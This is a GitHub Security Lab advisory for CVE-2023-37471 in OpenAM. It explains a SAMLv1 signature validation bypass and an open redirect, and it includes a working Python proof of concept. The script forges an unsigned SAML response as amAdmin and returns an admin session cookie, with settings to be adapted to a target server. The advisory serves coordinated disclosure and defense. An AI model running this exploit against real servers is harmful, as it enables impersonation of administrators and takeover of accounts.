Coordinated Disclosure Timeline
- 2023-07-12: Asked for an email to send the report to in a public issue.
- 2023-07-14: The maintainers propose a fix in a PR.
- 2023-07-18: The fix is merged.
- 2023-07-20: Advisory is published and CVE-2023-37471 assigned.
Summary
OpenAM up to version 14.7.2 does not properly validate the signature of SAML responses received as part of the SAMLv1.x Single Sign-On process. Attackers can use this fact to impersonate any OpenAM user, including the administrator, by sending a specially crafted SAML response to the SAMLPOSTProfileServlet
servlet.
Product
OpenAM
Tested Version
Details
Issue 1: SAML signature validation bypass in SAMLPOSTProfileServlet.java
(GHSL-2023-143
)
OpenAM supports configuring SAMLv1 Single Sign-On to allow resource sharing between organizations. When this feature is enabled, OpenAM exposes a Servlet that handles SAML responses as part of the Web SSO flow:
openam-server-only/src/main/webapp/WEB-INF/web.xml:426
<servlet>
<description>SAMLPOSTProfileServlet</description>
<servlet-name>SAMLPOSTProfileServlet</servlet-name>
<servlet-class>com.sun.identity.saml.servlet.SAMLPOSTProfileServlet</servlet-class>
</servlet>
/**
* This servlet is used to support SAML 1.x Web Browser/POST Profile.
*/
public class SAMLPOSTProfileServlet extends HttpServlet {
// --snip--
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html; charset=UTF-8");
// --snip--
SAMLUtils.checkHTTPContentLength(request);
// --snip--
String samlResponse = request.getParameter(
SAMLConstants.POST_SAML_RESPONSE_PARAM);
// --snip--
// decode the Response
byte raw[] = null;
try {
raw = Base64.decode(samlResponse);
} catch (Exception e) {
// --snip--
return;
}
// Get Response back
Response sResponse = SAMLUtils.getResponse(raw);
if (sResponse == null) {
// --snip--
return;
}
// --snip--
// verify that Response is correct
StringBuffer requestUrl = request.getRequestURL();
// --snip--
boolean valid = SAMLUtils.verifyResponse(sResponse,
requestUrl.toString(),
request);
if (!valid) {
// --snip--
return;
}
Map attrMap = null;
List assertions = null;
javax.security.auth.Subject authSubject = null;
try {
Map sessionAttr = SAMLUtils.processResponse(
sResponse, target);
Object token = SAMLUtils.generateSession(request,
response, sessionAttr);
} catch (Exception ex) {
// --snip--
return;
}
// --snip--
}
}
Several things happen in this Servlet, but they all are self-contained and it does not rely on any pre-existing state, so attackers can directly call it without having to go through the whole flow.
As a summary:
- A parameter
SAMLResponse
(SAMLConstants.POST_SAML_RESPONSE_PARAM
) is read from the HTTP request. - The
SAMLResponse
string is decoded from base64. - It gets converted by
SAMLUtils.getResponse
to acom.sun.identity.saml.protocol.Response
object namedsResponse
. - The request URL is obtained from the request and assigned to the variable
requestUrl
. This is the URL that was used to make the request to reach this Servlet. - Then
sResponse
andrequestUrl
are verified inSAMLUtils.verifyResponse
. - If the verification does not pass, the Servlet exits.
- Otherwise, the response is processed by
SAMLUtils.processResponse
. - Then, a new session is generated using the data obtained from the previous step.
- If any of the previous two steps fail, the Servlet exits.
An attacker that wants to forge a session needs to successfully go through SAMLUtils.getRespose
, SAMLUtils.verifyResponse
, and SAMLUtils.processResponse
to finally reach SAMLUtils.generateSession
.
Firstly, SAMLUtils.getResponse
simply parses the base64 decoded bytes as an XML document:
public static Response getResponse(byte [] bytes) {
Response temp = null;
if (bytes == null) {
return null;
}
try {
temp = Response.parseXML(new ByteArrayInputStream(bytes));
} catch (SAMLException se) {
debug.error("getResponse : " , se);
}
return temp;
}
Response.parseXML
just ends up delegating to javax.xml.parsers.DocumentBuilder.parse
, so nothing special needs to be done to pass this step, other than providing a valid SAMLv1 response. To obtain that, an attacker could first go through a normal SAMLv1 SSO flow, intercept the SAML response, and tweak it as needed — or just refer to the SAMLv1 specification.
After that, SAML.verifyResponse
is called, which starts by checking the signature with Response.isSignatureValid
:
public static boolean verifyResponse(Response response,
String requestUrl, HttpServletRequest request) {
if (!response.isSignatureValid()) {
debug.message("verifyResponse: Response's signature is invalid.");
return false;
}
// --snip--
Critically, isSignatureValid
only validates the signature if the attribute signed
is true
:
public boolean isSignatureValid() {
if (signed & ! validationDone) {
valid = SAMLUtils.checkSignatureValid(
xmlString, RESPONSE_ID_ATTRIBUTE, issuer);
validationDone = true;
}
return valid;
}
Otherwise, it returns the default value of valid
, which is defined in AbstractResponse
and happens to be true
:
public abstract class AbstractResponse {
// --snip--
protected boolean signed = false;
protected boolean valid = true;
Also note that signed
defaults to false
, which means that all an attacker needs to do to bypass the isSignatureValid
check is to not provide a signature in the SAML response at all, leaving both those values in their default state.
The rest of checks performed in verifyResponse
are based on data the attacker provides: the Recipient
of the SAML response needs to match requestUrl
, and its Status
needs to end with :Success
(SAMLConstants.STATUS_CODE_SUCCESS_NO_PREFIX
).
public static boolean verifyResponse(Response response,
String requestUrl, HttpServletRequest request) {
// --snip--
// check Recipient == this server's POST profile URL(requestURL)
String recipient = response.getRecipient();
if ((recipient == null) || (recipient.length() == 0) ||
((!equalURL(recipient, requestUrl)) &&
(!equalURL(recipient,getLBURL(requestUrl, request))))) {
debug.error("verifyResponse : Incorrect Recipient.");
return false;
}
// check status of the Response
if (!response.getStatus().getStatusCode().getValue().endsWith(
SAMLConstants.STATUS_CODE_SUCCESS_NO_PREFIX)) {
debug.error("verifyResponse : Incorrect StatusCode value.");
return false;
}
return true;
}
Having passed verifyResponse
, only SAMLUtils.processResponse
is left.
public static Map processResponse(Response samlResponse, String target)
throws SAMLException {
List assertions = null;
SAMLServiceManager.SOAPEntry partnerdest = null;
Subject assertionSubject = null;
if (samlResponse.isSigned()) {
// verify the signature
boolean isSignedandValid = verifySignature(samlResponse);
if (!isSignedandValid) {
throw new SAMLException(bundle.getString("invalidResponse"));
}
}
// --snip--
See how there is a new attempt at verifying the signature at verifySignature
(which does it correctly and fails if the response is not signed), but unfortunately it is only called if the response is signed, so this can be bypassed as well.
The rest of the operations are again only based on attacker-provided data, so it can be adjusted to generate the desired sessMap
:
public static Map processResponse(Response samlResponse, String target)
throws SAMLException {
// --snip--
Map ssMap = verifyAssertionAndGetSSMap(samlResponse);
// --snip--
if (ssMap == null) {
throw new SAMLException(bundle.getString("invalidAssertion"));
}
assertionSubject = (com.sun.identity.saml.assertion.Subject)
ssMap.get(SAMLConstants.SUBJECT);
if (assertionSubject == null) {
throw new SAMLException(bundle.getString("nullSubject"));
}
partnerdest = (SAMLServiceManager.SOAPEntry)ssMap
.get(SAMLConstants.SOURCE_SITE_SOAP_ENTRY);
if (partnerdest == null) {
throw new SAMLException(bundle.getString("failedAccountMapping"));
}
assertions = (List)ssMap.get(SAMLConstants.POST_ASSERTION);
Map sessMap = null;
try {
sessMap = getAttributeMap(partnerdest, assertions,
assertionSubject, target);
} catch (Exception se) {
debug.error("SAMLUtils.processResponse :" , se);
throw new SAMLException(
bundle.getString("failProcessResponse"));
}
return sessMap;
}
The only extra requirement happens inside verifyAssertionAndGetSSMap
, which requires that the SAML response Issuer
exists in OpenAM’s federation Trusted Partners list. We assume this information is not secret nor difficult to obtain by analyzing the authentication realm and the involved parties.
Also, it can be determined that the Subject
assertion is used in getAttributeMap
to map this response to a user in the realm — specifically the NameIdentifier
field.
After all that, the resulting sessMap
object is used to create the session SAMLUtils.generateSession
, which produces and returns to the attacker the cookie iPlanetDirectoryPro
. This cookie can be used to log in to OpenAM as the desired user specified in the spoofed SAML response.
Impact
This issue may lead to user impersonation in OpenAM.
Resources
The following script is a proof of concept that demonstrates how this vulnerability could be exploited. The script returns the iPlanetDIrectoryPro
cookie, which can be added to a browser to log into OpenAM as the specified user:
import base64
import requests
import random
import string
ORG = "dc=openam,dc=openidentityplatform,dc=org"
ADMIN_USER = f"cn=amAdmin,{ORG}"
TARGET = "http://localhost:8207"
REDIRECT = "http://localhost:8207/openam/"
ISSUER = "dev.authserver.sso"
def random_word(length):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))
def main():
url = f"{TARGET}/openam/SAMLPOSTProfileServlet"
xml = f"""
<samlp:Response Recipient="{url}" ResponseID="{random_word(10)}" MajorVersion="1" MinorVersion="1" Destination="http://localhost/SamlAuthenticate" IssueInstant="2014-03-27T14:49:35.395Z" ID="kBWlU3VWF.Ee6DKbkEpFomtlDAT" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:1.0:status:Success"/></samlp:Status>
<saml:Assertion Issuer="{ISSUER}" MajorVersion="1" MinorVersion="1" AssertionID="{random_word(10)}" IssueInstant="2014-03-27T14:49:35.404Z" ID="w4BForMipBizsG1TA7d9QzhCM0-" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
<saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password" AuthenticationInstant="2002-06-19T17:05:17.706Z">
<saml:Subject>
<saml:NameIdentifier NameQualifier="{ORG}" Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">{ADMIN_USER}</saml:NameIdentifier>
<saml:SubjectConfirmation>
<saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod>
</saml:SubjectConfirmation>
</saml:Subject>
</saml:AuthenticationStatement>
<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Subject>
<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">amAdmin</saml:NameIdentifier>
<saml:SubjectConfirmation>
<saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod>
<saml:SubjectConfirmationData NotOnOrAfter="2014-03-27T14:54:35.404Z" Recipient="http://localhost/SamlAuthenticate"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="FIRSTNAME">
<saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">john</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="MAIL">
<saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">john.smith@email.localhost.dev</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="LASTNAME">
<saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">smith</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
"""
response = base64.b64encode(xml.encode())
data = {
"TARGET": REDIRECT,
"SAMLResponse": response
}
r = requests.post(url, data=data, allow_redirects=False)
print(f'iPlanetDirectoryPro = {r.cookies["iPlanetDirectoryPro"]}')
if __name__ == "__main__":
main()
Note that ORG
, ADMIN_USER
, TARGET
and ISSUER
will need to be adapted to the target OpenAM server.
Issue 2: Open redirect in SAMLPOSTProfileServlet.java
(GHSL-2023-144
)
OpenAM supports configuring SAMLv1 Single Sign-On to allow resource sharing between organizations. When this feature is enabled, OpenAM exposes a Servlet that handles SAML responses as part of the Web SSO flow:
openam-server-only/src/main/webapp/WEB-INF/web.xml:426
<servlet>
<description>SAMLPOSTProfileServlet</description>
<servlet-name>SAMLPOSTProfileServlet</servlet-name>
<servlet-class>com.sun.identity.saml.servlet.SAMLPOSTProfileServlet</servlet-class>
</servlet>
/**
* This servlet is used to support SAML 1.x Web Browser/POST Profile.
*/
public class SAMLPOSTProfileServlet extends HttpServlet {
// --snip--
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html; charset=UTF-8");
// --snip--
String target = request.getParameter(SAMLConstants.POST_TARGET_PARAM);
// --snip--
if (SAMLUtils.postYN(target)) {
//--snip--
SAMLUtils.postToTarget(response, response.getWriter(), assertions, target,attrMap);
} else {
response.setHeader("Location", target);
response.sendRedirect(target);
}
}
}
Note that target
is used in response.sendRedirect
without further validation. Assuming an attacker can provide a valid SAML response (see GHSL-2023-143
), they can craft a request that redirects the user’s browser to an arbitrary server.
Although this is a POST request, so admittedly the impact is limited, it could still be a problem under specific conditions.
This issue was found with the CodeQL query java/unvalidated-url-redirection
.
Impact
This issue may lead to an open redirect of the victim’s browser.
Resources
The PoC exploit provided in GHSL-2023-143
can be used to exploit this vulnerability as well (tweak the REDIRECT
variable as desired).
CVE
- CVE-2023-37471
Credit
These issues were discovered and reported by CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-143
or GHSL-2023-144
in any communication regarding these issues.